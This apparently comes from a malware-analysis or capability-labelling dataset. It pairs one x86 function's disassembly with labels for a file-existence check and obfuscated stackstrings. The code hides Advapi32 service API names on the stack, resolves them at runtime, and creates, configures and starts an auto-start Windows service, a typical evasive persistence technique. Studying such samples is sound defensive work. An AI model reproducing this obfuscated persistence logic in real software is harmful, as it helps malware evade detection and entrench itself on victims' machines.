Function at 0x100060bd
Capabilities:
Check if file exists
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x484
mov eax, dword [0x10099790]
xor eax, esp
mov dword [esp + 0x480], eax
mov eax, dword [esp + 0x494]
mov dword [0x1009c278], eax
mov eax, dword [esp + 0x490]
push ebx
mov dword [0x1009c280], eax
mov eax, dword [esp + 0x490]
xor ebx, ebx
push 0x3ff
mov dword [0x1009c27c], eax
lea eax, [esp + 0x89]
push ebx
push eax
mov byte [esp + 0x90], bl
call fcn.1005b850
add esp, 0xc
lea ecx, [esp + 0x84]
call fcn.10002704
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100063be
push ebp
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.10008646
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x3c], 0x76726573
mov dword [esp + 0x40], 0x656369
mov dword [esp + 0x38], 0x2d207325
call fcn.1000c729
add esp, 0xc
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [esp + 0x14]
call fcn.1000866c
lea ecx, [esp + 0x10]
call fcn.10008bb4
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
push ecx
lea ecx, [esp + 0x14]
call fcn.10008bf2
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
call fcn.1000865a
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x3c], 0x61766441
mov word [esp + 0x46], 0x6c6c
mov word [esp + 0x43], 0x2e32
mov word [esp + 0x40], 0x6970
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x48], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [esp + 0x20], ebx
test ebx, ebx
je 0x100063a0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0x68]
push eax
push ebx
mov word [esp + 0x70], 0x704f
mov dword [esp + 0x7a], 0x41726567
mov dword [esp + 0x73], 0x4d43536e
mov word [esp + 0x78], 0x616e
mov byte [esp + 0x72], 0x65
mov byte [esp + 0x7e], 0
mov byte [esp + 0x77], 0x61
call esi
mov dword [esp + 0x24], eax
lea eax, [esp + 0x58]
push eax
push ebx
mov dword [esp + 0x60], 0x61657243
mov dword [esp + 0x64], 0x65536574
mov word [esp + 0x69], 0x6976
mov word [esp + 0x6c], 0x4165
mov byte [esp + 0x6b], 0x63
mov byte [esp + 0x68], 0x72
mov byte [esp + 0x6e], 0
call esi
mov edi, eax
lea eax, [esp + 0x48]
push eax
push ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x50], 0x72617453
mov word [esp + 0x57], 0x7672
mov dword [esp + 0x5a], 0x416563
mov byte [esp + 0x59], 0x69
mov word [esp + 0x54], 0x5374
mov byte [esp + 0x56], 0x65
call esi
mov ebp, eax
lea eax, [esp + 0x78]
push eax
push ebx
mov dword [esp + 0x91], 0x41326769
mov dword [esp + 0x88], 0x63697672
mov dword [esp + 0x8c], 0x6e6f4365
mov dword [esp + 0x80], 0x6e616843
mov dword [esp + 0x84], 0x65536567
mov byte [esp + 0x95], 0
mov byte [esp + 0x90], 0x66
call esi
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x28], eax
test ecx, ecx
je 0x100063a0
test edi, edi
je 0x100063a0
test ebp, ebp
je 0x100063a0
test eax, eax
je 0x100063a0
push 2
xor ebx, ebx
push ebx
push ebx
call ecx
mov edi, eax
test edi, edi
je 0x100063a0
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x2c]
call fcn.100016ac
push eax
push 1
push 2
push 0x10
push 0xf01ff
lea ecx, [esp + 0x3c]
call fcn.100016ac
push eax
lea ecx, [esp + 0x3c]
call fcn.100016ac
push eax
push edi
call dword [esp + 0x50]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x10006393
lea ecx, [esp + 0x14]
call fcn.10008bb4
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push 1
push esi
call dword [esp + 0x34]
push 0
push 0
push esi
call ebp
mov ecx, esi
call fcn.10006064
push esi
call ebx
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call ebx
lea ecx, [esp + 0x14]
call fcn.100086b0
lea ecx, [esp + 0x10]
call fcn.100086b0
lea ecx, [esp + 0x18]
call fcn.100086b0
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x484]
pop ebx
xor ecx, esp
call fcn.1005801c
add esp, 0x484
ret